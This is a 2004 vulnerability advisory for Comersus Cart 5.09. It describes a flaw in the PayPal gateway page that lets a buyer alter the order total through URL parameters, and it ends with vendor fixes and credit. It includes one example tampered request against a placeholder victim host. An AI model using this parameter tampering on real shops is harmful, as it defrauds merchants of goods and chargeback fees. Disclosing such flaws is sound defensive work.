Comersus Cart Improper Request Handling

Release Date:
July 6, 2004

Severity:
Medium

Vendor:
Comersus Open Technologies

Software:
Tested on Comersus Cart 5.09
Previous versions may also be affected.
 
Remote:
Remotely executed from any web browser
 
Vulnerabilities:
Improper Request Handling

Technical Details:
The unethical user is able to modify the parameters to change the pricing before the order is processed through PayPal. This would allow the unethical user to place a fraudulent transaction which many times won't be caught until the product is already shipped OR the shopping cart owner is charged a chargeback fee when refunding the order.


Pages Affected
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comersus_gatewayPayPal.asp
 
 
Example:
http://[VICTIM]/comersus/store/comersus_gatewayPayPal.asp?idOrder=2002
&OrderTotal=|102|222|228|22|130|36|209&name=Thomas&lastName=Ryan
&address=123+Easy+Modify+Street&city=New+York&state=NY&zip=10001
&country=US&phone=212%2D857%2D1731&email=tommy%40providesecurity%2Ecom
&orderDetails=1x+%23RDHT%2F11+Red+Hat+Deluxe+WorkStation+Options%3A+%3D
+%2479%2E00%0D%0A2x+%23WME%2F1+Windows+Millennium+Edition+Options%3A
+%3D+%24398%2E00%0D%0A1x+%23BPRES2%2F6+So+You+Want+to+Be+President%3F
+Options%3A+%3D+%2414%2E39%0D%0A

Vendor Status:
Update to 5.098
http://www.comersus.com/
Use <form method=”POST” on all Forms
Also recommend using SSL for ALL Transactional areas of the website.
Review all orders before processing


Advisory:
http://www.providesecurity.com/research/advisories/07062004-02.asp
 

Credit:
Discovered By: Thomas Ryan
Provide Security


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